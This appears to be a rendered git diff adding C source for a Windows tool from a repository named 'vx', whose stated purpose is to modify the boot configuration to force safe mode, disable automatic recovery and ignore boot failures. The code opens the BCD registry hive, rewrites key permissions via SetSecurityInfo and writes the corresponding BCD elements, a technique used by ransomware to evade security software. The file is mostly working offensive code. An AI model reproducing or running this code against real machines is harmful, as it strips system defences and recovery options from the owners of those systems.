// Get the current security descriptor of the Windows Registry key
|
||||
PACL pOldDACL = NULL;
|
||||
PACL pNewDACL = NULL;
|
||||
PSECURITY_DESCRIPTOR SecurityDescriptor = NULL;
|
||||
DWORD dwStatus = GetSecurityInfo(
|
||||
*phKey,
|
||||
SE_REGISTRY_KEY,
|
||||
DACL_SECURITY_INFORMATION,
|
||||
NULL,
|
||||
NULL,
|
||||
&pOldDACL,
|
||||
NULL,
|
||||
&SecurityDescriptor
|
||||
);
|
||||
if (dwStatus != ERROR_SUCCESS)
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
|
||||
EXPLICIT_ACCESS ea = { 0x00 };
|
||||
ea.grfAccessPermissions = dwPrivileges;
|
||||
ea.grfAccessMode = SET_ACCESS;
|
||||
ea.grfInheritance = NO_INHERITANCE;
|
||||
ea.Trustee.TrusteeForm = TRUSTEE_IS_SID;
|
||||
ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP;
|
||||
ea.Trustee.ptstrName = (LPTSTR)AdminSID;
|
||||
|
||||
if (SetEntriesInAcl(1, &ea, pOldDACL, &pNewDACL) != ERROR_SUCCESS)
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
if (SetSecurityInfo(*phKey, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS)
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
return STATUS_SUCCESS;
|
||||
}
|
|
@ -0,0 +1,298 @@
|
|||
/**
|
||||
* @file bcdutil.c
|
||||
* @author Paul L. (@am0nsec)
|
||||
* @version 1.0
|
||||
* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure.
|
||||
* @details
|
||||
* @link https://github.com/am0nsec/vx
|
||||
* @copyright This project has been released under the GNU Public License v3 license.
|
||||
*/
|
||||
#ifndef __BCDUTIL_H_GUARD__
|
||||
#define __BCDUTIL_H_GUARD__
|
||||
|
||||
#pragma comment(lib, "ntdll")
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/**
|
||||
* @brief GUID of the Windows Boot Manager Configuration within the Windows Registry: 9DEA862C-5CDD-4E70-ACC1-F32B344D4795
|
||||
*/
|
||||
static CONST GUID GUID_WINDOWS_BOOTMGR = { 0x9DEA862C, 0x5CDD, 0x4E70, {0xAC, 0xC1, 0xF3, 0x2B, 0x34, 0x4D, 0x47, 0x95} };
|
||||
|
||||
// Taken from https://www.geoffchappell.com/notes/windows/boot/bcd/elements.htm?tx=27
|
||||
|
||||
#define GUID_WINDOWS_BOOTMGR L"{9DEA862C-5CDD-4E70-ACC1-F32B344D4795}"
|
||||
#define BCD_ELEMENTS L"Elements"
|
||||
#define BCD_ELEMENT L"Element"
|
||||
|
||||
#define BCDE_BOOTMGR_TYPE_DEFAULT_OBJECT L"23000003"
|
||||
#define BCDE_OSLOADER_TYPE_SAFEBOOT L"25000080"
|
||||
#define BCDE_LIBRARY_TYPE_AUTO_RECOVERY_ENABLED L"16000009"
|
||||
#define BCDE_OSLOADER_TYPE_BOOT_STATUS_POLICY L"250000E0"
|
||||
|
||||
#define STATUS_SUCCESS 0x00000000
|
||||
#define STATUS_UNSUCCESSFUL 0xC0000001
|
||||
#define STATUS_INTERNAL_ERROR 0xC00000E5
|
||||
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
|
||||
#define STATUS_NO_MORE_ENTRIES 0x8000001A
|
||||
#define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034
|
||||
|
||||
#define RETURN_ON_ERROR(ex) \
|
||||
if (!NT_SUCCESS(ex)) { return STATUS_UNSUCCESSFUL; }
|
||||
|
||||
#define EXIT_ON_ERROR(ex) \
|
||||
if (!NT_SUCCESS(ex)) { return EXIT_FAILURE; }
|
||||
|
||||
#define EXIT_ON_ERROREX(ex, code) \
|
||||
if (ex != code) { return EXIT_FAILURE; }
|
||||
|
||||
typedef enum _KEY_INFORMATION_CLASS {
|
||||
KeyBasicInformation,
|
||||
KeyNodeInformation,
|
||||
KeyFullInformation,
|
||||
KeyNameInformation,
|
||||
KeyCachedInformation,
|
||||
KeyFlagsInformation,
|
||||
KeyVirtualizationInformation,
|
||||
KeyHandleTagsInformation,
|
||||
KeyTrustInformation,
|
||||
KeyLayerInformation,
|
||||
MaxKeyInfoClass
|
||||
} KEY_INFORMATION_CLASS;
|
||||
|
||||
typedef enum _KEY_VALUE_INFORMATION_CLASS {
|
||||
KeyValueBasicInformation,
|
||||
KeyValueFullInformation,
|
||||
KeyValuePartialInformation,
|
||||
KeyValueFullInformationAlign64,
|
||||
KeyValuePartialInformationAlign64,
|
||||
KeyValueLayerInformation,
|
||||
MaxKeyValueInfoClass
|
||||
} KEY_VALUE_INFORMATION_CLASS;
|
||||
|
||||
typedef struct _KEY_BASIC_INFORMATION {
|
||||
LARGE_INTEGER LastWriteTime;
|
||||
ULONG TitleIndex;
|
||||
ULONG NameLength;
|
||||
WCHAR Name[1];
|
||||
} KEY_BASIC_INFORMATION, * PKEY_BASIC_INFORMATION;
|
||||
|
||||
typedef struct _KEY_VALUE_PARTIAL_INFORMATION {
|
||||
ULONG TitleIndex;
|
||||
ULONG Type;
|
||||
ULONG DataLength;
|
||||
UCHAR Data[1];
|
||||
} KEY_VALUE_PARTIAL_INFORMATION, * PKEY_VALUE_PARTIAL_INFORMATION;
|
||||
|
||||
typedef struct _SECURITY_DESCRIPTOREX {
|
||||
UCHAR Revision;
|
||||
UCHAR Sbz1;
|
||||
WORD Control;
|
||||
PVOID Owner;
|
||||
PVOID Group;
|
||||
PACL Sacl;
|
||||
PACL Dacl;
|
||||
} SECURITY_DESCRIPTOREX, * PSECURITY_DESCRIPTOREX;
|
||||
|
||||
|
||||
extern NTSTATUS NtOpenKey(
|
||||
_Out_ PHANDLE KeyHandle,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ POBJECT_ATTRIBUTES ObjectAttributes
|
||||
);
|
||||
|
||||
|
||||
extern NTSTATUS NtQueryValueKey(
|
||||
_In_ HANDLE KeyHandle,
|
||||
_In_ PUNICODE_STRING ValueName,
|
||||
_In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
|
||||
_Out_ PVOID KeyValueInformation,
|
||||
_In_ ULONG Length,
|
||||
_Out_ PULONG ResultLength
|
||||
);
|
||||
|
||||
|
||||
extern NTSTATUS NtCreateKey(
|
||||
_Out_ PHANDLE KeyHandle,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
_Out_ ULONG TitleIndex,
|
||||
_In_opt_ PUNICODE_STRING Class,
|
||||
_In_ ULONG CreateOptions,
|
||||
_Out_opt_ PULONG Disposition
|
||||
);
|
||||
|
||||
|
||||
extern NTSTATUS NtEnumerateKey(
|
||||
_In_ HANDLE KeyHandle,
|
||||
_In_ ULONG Index,
|
||||
_In_ KEY_INFORMATION_CLASS KeyInformationClass,
|
||||
_Out_ PVOID KeyInformation,
|
||||
_In_ ULONG Length,
|
||||
_Out_ PULONG ResultLength
|
||||
);
|
||||
|
||||
|
||||
extern NTSTATUS NtOpenMutant(
|
||||
_Out_ PHANDLE MutantHandle,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
_In_ BOOLEAN InitialOwner
|
||||
);
|
||||
|
||||
|
||||
extern NTSTATUS NtSetValueKey(
|
||||
_In_ HANDLE KeyHandle,
|
||||
_In_ PUNICODE_STRING ValueName,
|
||||
_In_opt_ ULONG TitleIndex,
|
||||
_In_ ULONG Type,
|
||||
_In_ PVOID Data,
|
||||
_In_ ULONG DataSize
|
||||
);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Get handle to the default Windows Boot Object.
|
||||
* @param phWindowsBootMgrDefaultObj Pointer to an handle.
|
||||
* @return Whether an handle has been successfully retrieved.
|
||||
*/
|
||||
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
|
||||
BcdGetDefaultBootObject(
|
||||
_Out_ PHKEY phWindowsBootMgrDefaultObj
|
||||
);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Modify boot configuration.
|
||||
* @param phKey Pointer to an handle of the Windows default boot object.
|
||||
* @param wszKey Name of the configuration to change.
|
||||
* @param pData Pointer to the data of the value.
|
||||
* @param ulData Size of the data for the value.
|
||||
* @return Whether boot configuration has been modified.
|
||||
*/
|
||||
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
|
||||
BcdModifyBootConfiguration(
|
||||
_In_ CONST PHKEY phKey,
|
||||
_In_ CONST LPWSTR wszKey,
|
||||
_In_ LPVOID pData,
|
||||
_In_ ULONG ulData
|
||||
);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Acquire an handle to the BCD synchronisation mutant.
|
||||
* @param phHandle Pointer to an handle.
|
||||
* @return Whether an handle to the BCD synchronisation mutant has been acquired.
|
||||
*/
|
||||
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
|
||||
BcdAcquireSyncMutant(
|
||||
_Out_ PHANDLE phHandle
|
||||
);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Open an HANDLE to a registry object by name.
|
||||
* @param wszKeyName The Unicode name of the registry object.
|
||||
* @param AccessMask The desired access mask.
|
||||
* @param phDirectory Pointer to a parent object within the object manager namespace.
|
||||
* @param phKey Pointer to the HANDLE if found and successfully opened.
|
||||
* @return Whether the HANDLE has been open.
|
||||
*/
|
||||
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
|
||||
BcdOpenKeyByName(
|
||||
_In_ CONST LPWSTR wszKeyName,
|
||||
_In_ ACCESS_MASK AccessMask,
|
||||
_In_ PHANDLE phDirectory,
|
||||
_Out_ PHKEY phKey
|
||||
);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Find a sub key for a given pattern.
|
||||
* @param phKey Pointer to the key to search from.
|
||||
* @param wszPattern The pattern to find (e.g., BCD).
|
||||
* @param dwPatternLength Length of the pattern (e.g., 3).
|
||||
* @param wszSubKeyName Pointer to the name of the sub-key once found.
|
||||
* @param pdwSubKeyNameLength Pointer to the length of the sub-key once found.
|
||||
* @return Whether the sub-key has been found.
|
||||
*/
|
||||
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
|
||||
BcdpGetSubKeyByPattern(
|
||||
_In_ CONST PHKEY phKey,
|
||||
_In_ CONST LPWSTR wszPattern,
|
||||
_In_ CONST DWORD dwPatternLength,
|
||||
_Out_ LPWSTR * wszSubKeyName,
|
||||
_Out_ PDWORD pdwSubKeyNameLength
|
||||
);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Get the value of a Windows registry key by name.
|
||||
* @param wszValueName The Unicode name of the value to retrieve.
|
||||
* @param phKey Pointer to an handle of a Windows Registry key.
|
||||
* @param dwType Type of data to retreive.
|
||||
* @param ppData Pointer to a buffer.
|
||||
* @param pdwData Poitner to the size of the buffer that will be returned.
|
||||
* @return Whether the value has been successfully retrieved.
|
||||
*/
|
||||
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
|
||||
BcdpQueryValueByName(
|
||||
_In_ CONST LPWSTR wszValueName,
|
||||
_In_ PHKEY phKey,
|
||||
_In_ DWORD dwType,
|
||||
_Out_ LPVOID * ppData,
|
||||
_Out_ DWORD * pdwData
|
||||
);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Create a new windows registry key.
|
||||
* @param wszKeyName The Unicode name of the key to create.
|
||||
* @param DesiredAccess Desired access.
|
||||
* @param dwType Type of data to retreive.
|
||||
* @param phDirectory Pointer to a parent object within the object manager namespace.
|
||||
* @param phKey Pointer to an handle of the newly created key.
|
||||
* @return Whether the key has been created.
|
||||
*/
|
||||
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
|
||||
BcdpCreateKey(
|
||||
_In_ CONST LPWSTR wszKeyName,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ PHANDLE phDirectory,
|
||||
_Out_ PHANDLE phKey
|
||||
);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Set a new value to a windows registry key
|
||||
* @param wszKeyName The Unicode name of the value to create/modify.
|
||||
* @param phKey Handle to a windows registry key.
|
||||
* @param pData Pointer to the data of the value.
|
||||
* @param ulData Size of the data of the value.
|
||||
* @return Whether the value has been successfully created or modified.
|
||||
*/
|
||||
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
|
||||
BcdpSetValue(
|
||||
_In_ CONST LPWSTR wszValue,
|
||||
_In_ PHANDLE phKey,
|
||||
_In_ PVOID pData,
|
||||
_In_ ULONG ulData
|
||||
);
|
||||
|
||||
|
||||
/**
|
||||
* @brief Set a new value to a windows registry key
|
||||
* @param phKey Handle to a windows registry key.
|
||||
* @param dwPrivileges Desried new privileges.
|
||||
* @return Whether the new privileges have been assigned
|
||||
*/
|
||||
_Success_(return == S_OK) _Must_inspect_result_ NTSTATUS
|
||||
BcdpChangeObjectPermission(
|
||||
_In_ CONST PHANDLE phKey,
|
||||
_In_ DWORD dwPrivileges
|
||||
);
|
||||
|
||||
|
||||
#endif // !__BCDUTIL_H_GUARD__
|
|
@ -0,0 +1,63 @@
|
|||
/**
|
||||
* @file main.c
|
||||
* @author Paul L. (@am0nsec)
|
||||
* @version 1.0
|
||||
* @brief Modify boot configuration to enable safe mode, disable recovery and ignore all failure.
|
||||
* @details
|
||||
* @link https://github.com/am0nsec/vx
|
||||
* @copyright This project has been released under the GNU Public License v3 license.
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include "bcdutil.h"
|
||||
|
||||
INT main() {
|
||||
// 1. Acquire BCD synchronisation mutant
|
||||
HANDLE hMutant = INVALID_HANDLE_VALUE;
|
||||
EXIT_ON_ERROR(BcdAcquireSyncMutant(&hMutant));
|
||||
|
||||
// 2. Get handle to the windows default boot object
|
||||
HKEY hWindowsBootMgrDefaultObj = INVALID_HANDLE_VALUE;
|
||||
BcdGetDefaultBootObject(&hWindowsBootMgrDefaultObj);
|
||||
|
||||
// 3. Open handle to the Elements of the default boot object
|
||||
HKEY hWindowsBootMgrDefaultObjElements = INVALID_HANDLE_VALUE;
|
||||
EXIT_ON_ERROR(BcdOpenKeyByName(
|
||||
BCD_ELEMENTS,
|
||||
(READ_CONTROL | WRITE_DAC | KEY_NOTIFY | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS),
|
||||
&hWindowsBootMgrDefaultObj,
|
||||
&hWindowsBootMgrDefaultObjElements
|
||||
));
|
||||
|
||||
// 4. Enable SafeBoot
|
||||
BYTE SafeBootData[0x08] = { 0x00 };
|
||||
BcdModifyBootConfiguration(
|
||||
&hWindowsBootMgrDefaultObjElements,
|
||||
BCDE_OSLOADER_TYPE_SAFEBOOT,
|
||||
SafeBootData,
|
||||
0x08
|
||||
);
|
||||
|
||||
// 5. Disable recovery mode
|
||||
BYTE RecoveryEnabled[0x01] = { 0x00 };
|
||||
BcdModifyBootConfiguration(
|
||||
&hWindowsBootMgrDefaultObjElements,
|
||||
BCDE_LIBRARY_TYPE_AUTO_RECOVERY_ENABLED,
|
||||
RecoveryEnabled,
|
||||
0x01
|
||||
);
|
||||
|
||||
// 5. Update boot policy
|
||||
BYTE BootpolicyData[0x08] = { 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||
BcdModifyBootConfiguration(
|
||||
&hWindowsBootMgrDefaultObjElements,
|
||||
BCDE_OSLOADER_TYPE_BOOT_STATUS_POLICY,
|
||||
BootpolicyData,
|
||||
0x08
|
||||
);
|
||||
|
||||
// Cleanup and exit
|
||||
NtClose(hMutant);
|
||||
NtClose(hWindowsBootMgrDefaultObj);
|
||||
NtClose(hWindowsBootMgrDefaultObjElements);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
Loading…
Reference in New Issue